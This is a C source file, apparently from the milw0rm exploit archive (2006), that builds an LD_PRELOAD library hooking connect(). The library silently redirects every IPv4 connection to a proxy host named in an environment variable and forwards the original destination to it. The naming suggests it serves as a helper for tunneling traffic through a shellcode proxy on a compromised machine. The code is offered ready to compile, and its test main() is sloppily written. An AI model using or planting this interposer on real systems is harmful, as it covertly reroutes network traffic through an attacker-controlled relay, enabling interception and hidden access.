#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdarg.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/un.h>
#include <dlfcn.h>
#include <errno.h>
#include <netinet/in.h>



/* 
gcc -c -o proxyshell_connect.o proxylib.c -fpic
ld -shared -o proxyshell_connect.so proxyshell_connect.o -ldl
*/


#ifdef connect
 #undef connect
#endif


/*
	export LD_PRELOAD=/path/to/proxyshell_connect.so
	export SHELLPROXYHOST=192.168.1.16:1280

*/


#define PROXYHOSTENV	"SHELLPROXYHOST" 
#define DEFAULTPORT	1280


int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);
static void* original(char* func);
int (*real_connect)(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen) = NULL;


int main (int argc, char *argv[]) {

  int sd, rc, i;
  struct sockaddr_in localAddr, servAddr;
  struct hostent *h;


  sd = socket(AF_INET, SOCK_STREAM, 0);

  localAddr.sin_family = AF_INET;
  localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
  localAddr.sin_port = htons(0);

   rc = connect(sd, (struct sockaddr *) &localAddr, sizeof(servAddr));


}


int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen){
char *proxyhost,*tmphost,*tmpport;
int retval;
unsigned short port;
struct sockaddr_in shellcodeaddr;

	if(!real_connect){
		real_connect = original("connect");
	}

	if(serv_addr->sa_family == 2){
		if((proxyhost = getenv(PROXYHOSTENV))){
			if(!(tmphost = calloc(1,strlen(proxyhost)+1))){
				perror("call to calloc failed");
				exit(-1);
			}
			strcpy(tmphost,proxyhost);
			if((tmpport = strstr(tmphost,":")) && strlen(tmpport)){
				tmpport[0] = 0;
				tmpport++;
				port = (unsigned short)atoi(tmpport);
			}else{
				port = (unsigned short)DEFAULTPORT;
			}
		}else{
			perror("env variable PROXYHOSTENV was not found");
			exit(-2);
		}
	
		shellcodeaddr.sin_family = 2;
		shellcodeaddr.sin_addr.s_addr = inet_addr(tmphost);
		shellcodeaddr.sin_port = htons(port);
	
		free(tmphost);
	
		if(!(retval = real_connect(sockfd, (struct sockaddr *)&shellcodeaddr,sizeof(shellcodeaddr)))){
			send(sockfd,serv_addr,addrlen,0);
		}
		return retval;
	}else{
		return  real_connect(sockfd, serv_addr, addrlen );
	}
}




static void* original(char* func){
void* libc_handle, *func_addr;

	if(!(libc_handle = dlopen("libc.so", RTLD_LAZY))){
		if(!(libc_handle = dlopen("libc.so.6", RTLD_LAZY))){
			if(!(libc_handle = dlopen("libc.so.5", RTLD_LAZY))) {
				fprintf(stderr, "Error ldopening libc!\n");
				return NULL;
 			}
		}
	}

	func_addr = dlsym(libc_handle, func);
	if(func_addr) return func_addr;
	fprintf(stderr, "Unable to locate %s\n", func);
	return NULL;
}

// milw0rm.com [2006-02-07]